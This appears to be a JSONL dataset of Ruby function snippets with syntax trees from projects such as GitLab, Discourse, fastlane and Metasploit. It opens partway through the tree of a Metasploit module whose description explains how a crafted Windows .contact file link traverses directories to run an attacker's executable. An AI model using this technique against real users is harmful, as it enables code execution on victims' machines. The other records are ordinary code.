dangerous and would be unexpected to an end user.\\n\"]},{\"type\":\"str\",\"children\":[\"          Executable files can live in a sub-directory so when the \\\".contact\\\" website link is clicked it traverses directories towards the executable and runs.\\n\"]},{\"type\":\"str\",\"children\":[\"          Making matters worse is if the files are compressed then downloaded \\\"mark of the web\\\" (MOTW) may potentially not work as expected with certain archive utilitys.\\n\"]},{\"type\":\"str\",\"children\":[\"          The \\\".\\\\\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\\n\"]},{\"type\":\"str\",\"children\":[\"          This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"John Page (aka hyp3rlinx)\"]},{\"type\":\"str\",\"children\":[\"Brenner Little\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"46188\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"19-013\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-01-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEBSITE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URL that the user must click to launch the payload.\"]},{\"type\":\"str\",\"children\":[\"www.metasploit.com\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)\"]},{\"type\":\"str\",\"children\":[\"John Smith\"]}]}]}]}]}]}]}","id":"58ed7918-a11b-45ac-bfb4-2fd897c0a2dd"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":240,"raw_source":"def restore_metadata_partially(chunk)\n          @unique_id = self.class.unique_id_from_path(chunk.path) || @unique_id\n          @size = 0\n          @created_at = chunk.ctime.to_i # birthtime isn't supported on Windows (and Travis?)\n          @modified_at = chunk.mtime.to_i\n\n          @metadata.timekey = nil\n          @metadata.tag = nil\n          @metadata.variables = nil\n          @metadata.seq = 0\n        end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_metadata_partially\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@unique_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"unique_id_from_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"path\"]}]},{\"type\":\"ivar\",\"children\":[\"@unique_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"ctime\"]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@modified_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunk\"]},\"mtime\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"timekey=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"tag=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"variables=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metadata\"]},\"seq=\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"60d53864-a29a-4190-83dd-843a58288f9d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/alert_management/alerts/update_service.rb","start_line":55,"raw_source":"def error(message)\n        ServiceResponse.error(payload: { alert: alert }, message: message)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"alert\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"de684882-b84c-4f19-b46e-73f4206a9ee7"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/response_template.rb","start_line":38,"raw_source":"def user_nil_only_for_user_nil_types\n    return unless user_id.present? && USER_NIL_TYPE_OF_TYPES.include?(type_of)\n\n    errors.add(:type_of, I18n.t(\"models.response_template.user_nil_only\"))\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_nil_only_for_user_nil_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USER_NIL_TYPE_OF_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"type_of\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.response_template.user_nil_only\"]}]}]}]}]}","id":"cdcf9e19-b5e1-4900-af2d-99e830a7f7ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/base_signed_commit.rb","start_line":10,"raw_source":"def initialize(commit)\n        @commit = commit\n\n        if commit.project\n          repo = commit.project.repository.raw_repository\n          @signature_data = Gitlab::Git::Commit.extract_signature_lazily(repo, commit.sha || commit.id)\n        end\n\n        lazy_signature\n      end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@commit\",{\"type\":\"lvar\",\"children\":[\"commit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"project\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"repo\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"project\"]},\"repository\"]},\"raw_repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@signature_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"Commit\"]},\"extract_signature_lazily\",{\"type\":\"lvar\",\"children\":[\"repo\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"lazy_signature\"]}]}]}","id":"a49c716e-f245-43da-b2a3-a7464839b9dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category.rb","start_line":766,"raw_source":"def depth_of_descendants(max_depth = SiteSetting.max_category_nesting)\n    parent_id = self.parent_category_id\n\n    return max_depth if parent_id == id\n\n    DB.query(<<~SQL, id: id, parent_id: parent_id, max_depth: max_depth)[0].max\n      WITH RECURSIVE descendants(id, depth) AS (\n        SELECT :id :: integer, 0\n\n        UNION ALL\n\n        SELECT\n          categories.id,\n          CASE\n            WHEN categories.id = :parent_id THEN :max_depth\n            ELSE descendants.depth + 1\n          END\n        FROM categories, descendants\n        WHERE categories.parent_category_id = descendants.id\n        AND descendants.depth < :max_depth\n      )\n\n      SELECT max(depth) FROM descendants\n    SQL\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"depth_of_descendants\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"max_depth\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"max_category_nesting\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_id\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parent_category_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent_id\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_depth\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"WITH RECURSIVE descendants(id, depth) AS (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT :id :: integer, 0\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  UNION ALL\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"    categories.id,\\n\"]},{\"type\":\"str\",\"children\":[\"    CASE\\n\"]},{\"type\":\"str\",\"children\":[\"      WHEN categories.id = :parent_id THEN :max_depth\\n\"]},{\"type\":\"str\",\"children\":[\"      ELSE descendants.depth + 1\\n\"]},{\"type\":\"str\",\"children\":[\"    END\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM categories, descendants\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE categories.parent_category_id = descendants.id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND descendants.depth < :max_depth\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT max(depth) FROM descendants\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"lvar\",\"children\":[\"parent_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_depth\"]},{\"type\":\"lvar\",\"children\":[\"max_depth\"]}]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"max\"]}]}]}","id":"16cd8448-36e6-49c9-a617-ebc8528494e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/multiversion.rb","start_line":9,"raw_source":"def check!\n        return unless helper.ci?\n        return unless frontend_changed? && backend_changed?\n\n        markdown <<~MARKDOWN\n        ## ⚠️ Multiversion compatibility\n\n        This merge request updates **both GraphQL backend and frontend code**.\n        This is discouraged when you add new fields to a GraphQL type and directly consume them in the frontend.\n\n        ### Why this matters\n        During rolling updates/deployments, your frontend code may deploy before the backend changes are fully rolled out.\n        This creates a dangerous scenario where:\n        - ✅ Frontend requests new GraphQL fields\n        - ❌ Backend doesn't recognize these fields yet\n        - 💥 **Result: GraphQL errors that can make the application unresponsive**\n\n        ### Recommended approach\n        **Split your changes into separate merge requests:**\n        1. **First MR**: Add new GraphQL fields to the backend\n        2. **Second MR**: Update frontend to use the new fields and apply the version directive `@gl_introduced(version: \"18.3.0\")` to prevent the same scenario for Self-Managed customers\n\n        ### Resources\n        - [Multiversion compatibility documentation](https://docs.gitlab.com/development/graphql_guide/reviewing/#multiversion-compatibility)\n        - [GraphQL version directive documentation](https://docs.gitlab.com/development/api_graphql_styleguide/#multi-version-compatibility)\n\n        **Please review your approach before merging to prevent potential incidents.**\n        MARKDOWN\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"ci?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"frontend_changed?\"]},{\"type\":\"send\",\"children\":[null,\"backend_changed?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"markdown\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"## ⚠️ Multiversion compatibility\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"This merge request updates **both GraphQL backend and frontend code**.\\n\"]},{\"type\":\"str\",\"children\":[\"This is discouraged when you add new fields to a GraphQL type and directly consume them in the frontend.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Why this matters\\n\"]},{\"type\":\"str\",\"children\":[\"During rolling updates/deployments, your frontend code may deploy before the backend changes are fully rolled out.\\n\"]},{\"type\":\"str\",\"children\":[\"This creates a dangerous scenario where:\\n\"]},{\"type\":\"str\",\"children\":[\"- ✅ Frontend requests new GraphQL fields\\n\"]},{\"type\":\"str\",\"children\":[\"- ❌ Backend doesn't recognize these fields yet\\n\"]},{\"type\":\"str\",\"children\":[\"- 💥 **Result: GraphQL errors that can make the application unresponsive**\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Recommended approach\\n\"]},{\"type\":\"str\",\"children\":[\"**Split your changes into separate merge requests:**\\n\"]},{\"type\":\"str\",\"children\":[\"1. **First MR**: Add new GraphQL fields to the backend\\n\"]},{\"type\":\"str\",\"children\":[\"2. **Second MR**: Update frontend to use the new fields and apply the version directive `@gl_introduced(version: \\\"18.3.0\\\")` to prevent the same scenario for Self-Managed customers\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"### Resources\\n\"]},{\"type\":\"str\",\"children\":[\"- [Multiversion compatibility documentation](https://docs.gitlab.com/development/graphql_guide/reviewing/#multiversion-compatibility)\\n\"]},{\"type\":\"str\",\"children\":[\"- [GraphQL version directive documentation](https://docs.gitlab.com/development/api_graphql_styleguide/#multi-version-compatibility)\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"**Please review your approach before merging to prevent potential incidents.**\\n\"]}]}]}]}]}","id":"6148c7be-fc90-4a21-8910-b74796ea7307"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_i18n_xss.rb","start_line":44,"raw_source":"def has_workaround?\n    tracker.find_call(target: :I18n, method: :const_defined?, chained: true).any? do |match|\n      match[:call].first_arg == s(:lit, :MissingTranslation)\n    end\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_workaround?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"I18n\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"const_defined?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chained\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"first_arg\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"MissingTranslation\"]}]}]}]}]}","id":"29f85779-abcd-4000-8066-680bf4f705c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/packages/protection/rule/update.rb","start_line":47,"raw_source":"def resolve(id:, **kwargs)\n            package_protection_rule = authorized_find!(id: id)\n\n            kwargs.except!(:minimum_access_level_for_delete) if Feature.disabled?(:packages_protected_packages_delete,\n              package_protection_rule.project)\n\n            response = ::Packages::Protection::UpdateRuleService.new(package_protection_rule,\n              current_user: current_user, params: kwargs).execute\n\n            { package_protection_rule: response.payload[:package_protection_rule], errors: response.errors }\n          end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"id\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_protection_rule\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"disabled?\",{\"type\":\"sym\",\"children\":[\"packages_protected_packages_delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_protection_rule\"]},\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"except!\",{\"type\":\"sym\",\"children\":[\"minimum_access_level_for_delete\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Protection\"]},\"UpdateRuleService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"package_protection_rule\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},\"execute\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_protection_rule\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"package_protection_rule\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"errors\"]}]}]}]}]}","id":"fa2e3a02-fddb-4f05-956e-704de589a84f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/server/json_return_value_processor.rb","start_line":28,"raw_source":"def process_value_as_string(return_value: nil)\n      if return_value.nil?\n        return_value = \"\"\n      end\n\n      return_value\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_value_as_string\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"return_value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_value\"]},\"nil?\"]},{\"type\":\"lvasgn\",\"children\":[\"return_value\",{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"return_value\"]}]}]}","id":"0f5f0904-5b4b-4749-8aa7-f36164f2952a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/two_step_or_factor_client.rb","start_line":347,"raw_source":"def store_session\n      # If the request was successful, r.body is actually nil\n      # The previous request will fail if the user isn't on a team\n      # on App Store Connect, but it still works, so we're good\n\n      # Tell iTC that we are trustworthy (obviously)\n      # This will update our local cookies to something new\n      # They probably have a longer time to live than the other poor cookies\n      # Changed Keys\n      # - myacinfo\n      # - DES5c148586dfd451e55afb0175f62418f91\n      # We actually only care about the DES value\n\n      request(:get) do |req|\n        req.url(\"https://idmsa.apple.com/appleauth/auth/2sv/trust\")\n        update_request_headers(req)\n      end\n      # This request will fail if the user isn't added to a team on iTC\n      # However we don't really care, this request will still return the\n      # correct DES... cookie\n\n      self.store_cookie\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"store_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"get\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"url\",{\"type\":\"str\",\"children\":[\"https://idmsa.apple.com/appleauth/auth/2sv/trust\"]}]},{\"type\":\"send\",\"children\":[null,\"update_request_headers\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"store_cookie\"]}]}]}","id":"9e2a55da-7b4a-4d03-adac-ab22704e681e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":798,"raw_source":"def check_use_datastore_debug\n    if @source =~ /datastore\\[[\"'](?i)DEBUG(?-i)[\"']\\]/\n      error('Please don\\'t use the DEBUG datastore option in production, it has an special meaning and is used for development')\n    end\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_use_datastore_debug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"datastore\\\\[[\\\"'](?i)DEBUG(?-i)[\\\"']\\\\]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Please don't use the DEBUG datastore option in production, it has an special meaning and is used for development\"]}]},null]}]}","id":"10747c18-46ab-4c62-b598-8c9728a4c2a8"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/cookies.rb","start_line":207,"raw_source":"def merge(other, &block)\n        to_hash.merge(other, &block)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"merge\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_hash\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"other\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"bb569be5-ac39-4a8e-96be-c3502bedd53a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/workers/storages/copy_project_folders_job.rb","start_line":98,"raw_source":"def log_failure(failed)\n      batch_errors = case failed\n                     in { success: true }\n                       return\n                     in { failure: true, errors: StorageError }\n                       failed.errors.to_active_model_errors.full_messages\n                     in { failure: true, errors: ActiveModel::Errors }\n                       failed.errors.full_messages\n                     else\n                       failed.errors\n                     end\n\n      batch.properties[:errors].push(*batch_errors)\n      batch.save\n\n      error batch_errors\n    end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"log_failure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"failed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"batch_errors\",{\"type\":\"case_match\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"true\",\"children\":[]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"const\",\"children\":[null,\"StorageError\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed\"]},\"errors\"]},\"to_active_model_errors\"]},\"full_messages\"]}]},{\"type\":\"in_pattern\",\"children\":[{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"const\